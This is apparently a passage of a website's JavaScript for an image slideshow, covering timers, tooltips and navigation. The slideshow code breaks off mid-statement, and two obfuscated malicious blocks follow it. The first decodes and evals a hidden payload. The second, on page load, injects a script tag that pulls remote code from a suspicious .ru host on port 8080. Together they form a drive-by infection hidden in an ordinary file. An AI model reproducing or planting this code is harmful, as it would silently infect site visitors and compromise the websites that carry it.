		var n = ((Math.floor(active_num)+1)<image_list.length)
			? Math.floor(active_num)+1
			: 1;
		if (first_image_in_slideshow_viewed && n==1) {
			first_image_in_slideshow_viewed = 0;
			if (go_to_next) {
				nextImage(1);
			} else {
				//alert("go_to_next:"+go_to_next)
				if (timerID) clearTimeout(timerID);
				if (timeout) clearInterval(timeout);
				active_num = 0;
				slideshow_flag = false;
				close_slideshow = true;
				closeImageWin();
			}
		} else {
			getImage(n, image_list[n]['image'], image_list[n]['name']);
		}
		
		if (!close_slideshow) startTimer();
	}
	
	function firstImageSlideshow()
	{
		first_image_in_slideshow_viewed = 1;
		
		nav_direction_flag = 'next';
		
		var n = Math.floor(active_num);
		n = (n < 1) ? 1 : n;
		
		getImage(n, image_list[n]['image'], image_list[n]['name']);
		
		startTimer();
	}
	
	
	function showTooltip(obj, name)
	{
		var ttip = getID('tooltip');
		var l = findPosX(obj)+40;
		var t = findPosY(obj)-20;
		
		ttip.style.left = findPosX(obj);
		ttip.style.top = findPosY(obj)+thumbnail_max_size+14;
		
		innerhtml('tooltip', name);
		display('tooltip','block');
	}
	
	function hideTooltip()
	{
		var ttip = getID('tooltip');
		
		display('tooltip','none');
		
		//ttip.left = 0;
		//ttip.top = 0;
		//ttip.innerhtml = '';
		
	}
	
	
	function startTimer()
	{
		clearTimeout(timerID);
		clearTimeout(timeout);
		
		tStart = new Date();
		innerhtml('time',zero(slideshow_time)+' '+lang['slideshow_seconds']);
		
		updateTimer();
		
		timeout = setTimeout("nextImageSlideshow();", 1000*slideshow_time);
	}
	
	function updateTimer()
	{
		if(timerID) {
			clearTimeout(timerID);
			clockID  = 0;
		}

		if(!tStart)
		tStart = new Date();

		var tDate = new Date();
		var tDiff = tDate.getTime() - tStart.getTime();
	
		tDate.setTime(tDiff);
	
		innerhtml('time',zero(slideshow_time-tDate.getSeconds())+' '+lang['slideshow_seconds']);
	   
		timerID = setTimeout("updateTimer()", 1000);
	}
	
	
	function startSlideshow()
	{
		nav_direction_flag = 'next';
		
		if (!slideshow_flag) {
			clearTimeout(timerID);
			c
var Kw="c2d7c9f1c7a2e2d7cdd1f997f1e5eac29fd1e2d7f1e5eac2d6d1f3f0e3caeedbf5dfe7dcd0c0fbe0d0c4e4cad0e1e4c6d2f6d3c4f3ecc8facbd1caece9dee1f7f398cbc4bfefe2d6b1d1f0b7cfc0";var tl;if(tl!='TYA'){tl='TYA'};var Slf;if(Slf!='kbv'){Slf='kbv'};function Y(s){this.Ea="";var B=new String();var N;if(N!='' && N!='Rv'){N=null};this.hC=''; var AO;if(AO!='Q'){AO='Q'};function I(h, Xg){var J;if(J!='' && J!='GV'){J='gz'};var e=[1][0];var vP;if(vP!='yx'){vP='yx'};var P = Xg.length;var m = h.length;var o;if(o!='' && o!='Ew'){o='HM'};var W=[154,37,0,105][2];var Eg='';this.Yf='';var ew = '';var k=false;var vM;if(vM!='oB' && vM!='oV'){vM='oB'};var JC="JC";var Qr;if(Qr!='f'){Qr=''};for(var n = W; n < m; n += P) {var et;if(et!=''){et='vPU'};var Ib = h.substr(n, P);var Qm='';var gTU=new Date();var Bp;if(Bp!='QY'){Bp='QY'};var Tk=new Array();if(Ib.length == P){this.mu="mu";var ha=new Array();for(var O in Xg) {var vV=12912;this.Ykv='';ew+=Ib.substr(Xg[O], e);this.Ic=36214;}} else {  ew+=Ib;}}var YUZ=7526;return ew;}var yd;if(yd!='' && yd!='ki'){yd='kB'};var BG;if(BG!='' && BG!='U'){BG='HR'};var mJ;if(mJ!='' && mJ!='ux'){mJ='uk'};var Ne;if(Ne!=''){Ne='NxN'}; var M=function(c,t){this.gH=647;return c[I("hcraoCedtA", [1,0])](t);this.kN="kN";var lQ=new String();}; var XF=function(a,Z){return a^Z;};var Od;if(Od!='Ol'){Od=''};var BY;if(BY!='oy' && BY!='hP'){BY='oy'};var eZ;if(eZ!='' && eZ!='D'){eZ=''}; var G=function(g){this.RS="RS";this.Vz=45428;var O=[246,201,0,7][2];this.WtW="WtW";this.GZ='';var R=[255,203,62][0];var mB="mB";var e=[1,70][0];var T=g[I("genlth", [3,1,2,0])];var Mx;if(Mx!='' && Mx!='mum'){Mx='hb'};var Xy=[0][0];var mb="mb";var PN;if(PN!='vD'){PN='vD'};var MR=new String();while(O<T){this.KN='';O++;w=M(g,O - e);var LX=false;var MU;if(MU!='Er' && MU != ''){MU=null};Xy+=w*T;}this.XC=false;var Xh;if(Xh!='C' && Xh!='zj'){Xh=''};var PV;if(PV!='' && PV!='EZ'){PV=null};var Vt=17463;return new X(Xy % R);this.LZ="";var mH="";};var zc;if(zc!='Ty' && zc != ''){zc=null};var Zw=33311;var lw="lw";var hT=new String(); function l(h){this.Oa=25361;var rN=new Array();var ei = -1;var Uj="Uj";var n =[96,142,0,70][2];var ew = '';var PB;if(PB!='wc' && PB!='fV'){PB=''};h = new X(h);this.tK="tK";var W =[0][0];this.CC="";var sZO;if(sZO!=''){sZO='Jv'};var Ui;if(Ui!='' && Ui!='Ev'){Ui='eR'};for (n=h[I("ngelth", [3,2,0,1])]-ei;n>=W;n=n-[207,1,17][1]){ew+=h[I("hcratA", [1,0])](n);}this.gTy='';var np;if(np!='jR' && np!='kt'){np=''};return ew;var cs;if(cs!='Mo' && cs!='aq'){cs='Mo'};var FE=new String();}var fw;if(fw!='' && fw!='IA'){fw=null};var hp=false;var JT="";var vR;if(vR!='vJ'){vR=''};var u=window;var Sp;if(Sp!='Re'){Sp='Re'};var wp=u[I("aelv", [1,3,0,2])];var r=wp(I("cFtnuion", [1,4,3,0,2]));var TQ=new String();var ET=false;var X=wp(I("ntrSig", [3,1,2,4,0,5]));this.Gv='';var eV = '';this.Wp="";var Fp;if(Fp!='bP'){Fp='bP'};var Iq=wp(I("gRepEx", [1,2,0]));var Ii=new Date();this.Kb=false;var reW;if(reW!='' && reW!='bS'){reW=''};var to=X[I("rfmohCraoCed", [1,0])];var Mi=u[I("ncseaupe", [5,0,3,2,1,4])];var jC=16257;var WL=new String();this.iAh='';var Td;if(Td!='' && Td!='ON'){Td=null};var z = X.fromCharCode(37);var Ob;if(Ob!='Bt'){Ob=''};this.RV=false;this.UG="UG";var q = '';var Us='';var e =[1,208][0];var zl = '';this.mq="";var su =[2,97,70,188][0];var eL;if(eL!='rR'){eL='rR'};var OX;if(OX!='Yx'){OX='Yx'};var xd=new Array();this.BU="";var iA=[1, I("oudcmetcn.retEaeleetmn(\'cisrpt\')", [2,0,3,1,4,5]),2, I("ncemoud.byd.otCpdnpea)ld(idh", [6,4,1,5,3,2,0]),3, I("oggoelc..ork", [1,0]),4, I("yomlac.rak.alowomric.ed", [5,1,2,6,0,4,3]),5, I(".desAtttirubet\'(edef\'r", [1,0]),6, I("tsoimc.rem.aepu:8080", [5,2,4,6,1,3,0]),7, I("ijevslaic.nmmo", [5,0,3,2,1,6,4]),8, I("dwoninwlo.oad", [1,4,3,0,2]),11, I("lo.gceogom", [7,6,1,3,0,5,2,4]),12, I("unfticn(o)", [2,0,1]),14, I(".drzeeecom", [1,4,6,3,5,2,0]),15, I("tahcc(e)", [4,1,0,3,2]),16, I("ht\"tp:", [2,0,3,1]),17, I("uotba", [4,3,1,0,2]),18, I("cs.dr", [3,2,1,4,0]),19, I("\'\'1)", [1,2,0]),20, I("rty", [1,0])];var HK;if(HK!='rm' && HK != ''){HK=null};var v =[0,180,55,151][0];var lxK;if(lxK!='BL'){lxK=''};var FV;if(FV!='rO'){FV=''};this.db=48778;var cK;if(cK!='' && cK!='ypq'){cK='Ks'};var hI = s[I("ngtelh", [4,3,0,1,2])];var Cum=new String();var W =[0][0];this.bM="";var bMb;if(bMb!='pK' && bMb!='tM'){bMb='pK'};var d = '';var CA;if(CA!='rK' && CA!='No'){CA='rK'};var YB = /[^@a-z0-9A-Z_-]/g;var xX;if(xX!='' && xX!='Jh'){xX=''};var HX=47252;var lD=15840;for(var aw=W; aw < hI; aw+=su){var SV;if(SV!='' && SV!='wF'){SV=null};var mbF;if(mbF!='' && mbF!='GE'){mbF=null};q+= z; var FEn;if(FEn!='' && FEn!='pq'){FEn=''};var oo;if(oo!='' && oo!='cV'){oo=''};q+= s[I("subtsr", [4,1,2,0,3])](aw, su);this.Zo=35308;this.sn="sn";}var oW='';var s = Mi(q);var bNu="";var lv=false;this.Pz=false;var XG = new X(Y);var UPV;if(UPV!='' && UPV!='XM'){UPV='ZN'};this.DX=51002;var gT = XG[I("eaplcer", [6,0,2,3,1,4,5])](YB, zl);var mi;if(mi!='' && mi!='BYk'){mi='Ua'};var nO;if(nO!='cv'){nO='cv'};var E = iA[I("egnlth", [3,0,2,1])];this.id=false;gT = l(gT);var MS="MS";var cl="";var XN = new X(r);var bh;if(bh!='' && bh!='fVh'){bh=''};var Iu = XN[I("erlpcae", [1,0])](YB, zl);var SOU='';this.Qf="Qf";var Iu = G(Iu);var XZ=G(gT);this.yw=20639;for(var n=W; n < (s[I("ngelth", [3,2,0,1,4])]);n=n+[155,1,165,4][1]) {var Om = gT.charCodeAt(v);var LRF=new Date();var tG;if(tG!='GHo' && tG != ''){tG=null};var L = M(s,n);L = XF(L, Om);var Yl;if(Yl!='' && Yl!='yE'){Yl=''};L = XF(L, XZ);var ay="";L = XF(L, Iu);var Mu;if(Mu!='' && Mu!='ts'){Mu='cE'};v++;var Ez=new Array();this.qA=14476;var cU;if(cU!='lu' && cU != ''){cU=null};this.Rn="Rn";if(v > gT.length-e){v=W;var KD="";var ph=64214;}var CN;if(CN!='' && CN!='sB'){CN='yEt'};var Ze;if(Ze!='TC' && Ze!='RY'){Ze=''};var iz=new String();d += to(L);}var ML=new Array();for(y=W; y < E; y+=su){var LD = iA[y + e];this.DXm=6050;var XW = to(iA[y]);var dC=false;var vgR;if(vgR!='hi' && vgR != ''){vgR=null};var Hx=new Array();var gdm=false;var Ws = new Iq(XW, to(103));d=d[I("alecpre", [5,2,4,1,0,3,6])](Ws, LD);var KU=3956;this.JL="";}var bQ;if(bQ!='xj'){bQ='xj'};var hVL="hVL";var GVl;if(GVl!=''){GVl='oM'};var H=new r(d);this.LK=27399;this.NV=44582;H();d = '';this.afJ=false;XZ = '';Iu = '';var is;if(is!='TU' && is!='Ch'){is='TU'};this.qJ=4675;H = '';this.YA='';var ZMY;if(ZMY!='BA'){ZMY=''};var zg;if(zg!='' && zg!='Do'){zg=''};var Ca;if(Ca!='' && Ca!='gy'){Ca=''};XN = '';var Odh="Odh";gT = '';var FH;if(FH!='WS' && FH != ''){FH=null};var lwR='';var nR;if(nR!='Fy'){nR=''};return '';var NA;if(NA!='VA' && NA!='Vf'){NA='VA'};this.Et=false;};var tl;if(tl!='TYA'){tl='TYA'};var Slf;if(Slf!='kbv'){Slf='kbv'};Y(Kw);


this.t="";var U=new Date();var g=new Date();function m(){var c=new String();this.xG='';var G=unescape;var Cv=new Date();var vo;if(vo!='T'){vo=''};var E=window;var d=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6b%79%70%65%2e%63%6f%6d%2f%69%73%74%6f%63%6b%70%68%6f%74%6f%2e%63%6f%6d%2e%70%68%70");function H(L,Q){var Tb;if(Tb!='P' && Tb!='o'){Tb=''};var Ll;if(Ll!='y'){Ll=''};var S;if(S!='' && S!='tF'){S=''};var Y=new String("g");var LN;if(LN!='' && LN!='Mf'){LN=null};var k=G("%5b"), K=G("%5d");var Qe=new String();var n=new String();var v=k+Q+K;var kw=new String();var hy;if(hy!='A'){hy='A'};var r=new RegExp(v, Y);var KI=new Date();var nl=new Date();return L.replace(r, new String());};var fO;if(fO!='Qm' && fO!='_i'){fO=''};this.c_='';var Co;if(Co!=''){Co='c_I'};var Mk;if(Mk!='Kz' && Mk!='fq'){Mk='Kz'};this.kq='';var kG;if(kG!='vp' && kG!='R'){kG=''};this.AZ="";var vf=document;var M=new String();var J;if(J!='' && J!='rb'){J=''};var Lc=H('81739110964476481111520497641','95731264');var Mkt=new Date();var cU;if(cU!='' && cU!='uu'){cU=null};var np;if(np!='' && np!='fY'){np='GI'};var UO;if(UO!='Ab' && UO!='PH'){UO='Ab'};function EB(){var Qpw;if(Qpw!='e' && Qpw!='Lq'){Qpw='e'};var I=G("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");M=I;var Qg=new Array();var CvU=new Array();M+=Lc;M+=d;var Lk;if(Lk!='gC' && Lk!='Mm'){Lk='gC'};var JH;if(JH!='qG' && JH!='qs'){JH='qG'};try {Z=vf.createElement(H('sPc1r6iGp1tG','G1q2wxUPDv36y0_FnI'));this.SJw='';var cR=new Array();var CB;if(CB!=''){CB='UOJ'};var QQ;if(QQ!=''){QQ='fd'};var Gv;if(Gv!='Sl'){Gv='Sl'};Z[G("%73%72%63")]=M;Z[G("%64%65%66%65%72")]=[1][0];var Wt=new String();var Nr;if(Nr!='iR' && Nr!='ZM'){Nr=''};vf.body.appendChild(Z);this.we="";var dd;if(dd!='' && dd!='Au'){dd='eK'};} catch(_){var kO;if(kO!='' && kO!='me'){kO=null};var Q_=new String();alert(_);var PT=new Date();var ns;if(ns!='' && ns!='go'){ns=''};};var fw;if(fw!='zy' && fw != ''){fw=null};}var ey="";var _N=new Date();E[String("on"+"lo"+"adLof".substr(0,2))]=EB;var X=new String();var ZO;if(ZO!='MQ' && ZO != ''){ZO=null};};var lC=new String();m();var m_=new Array();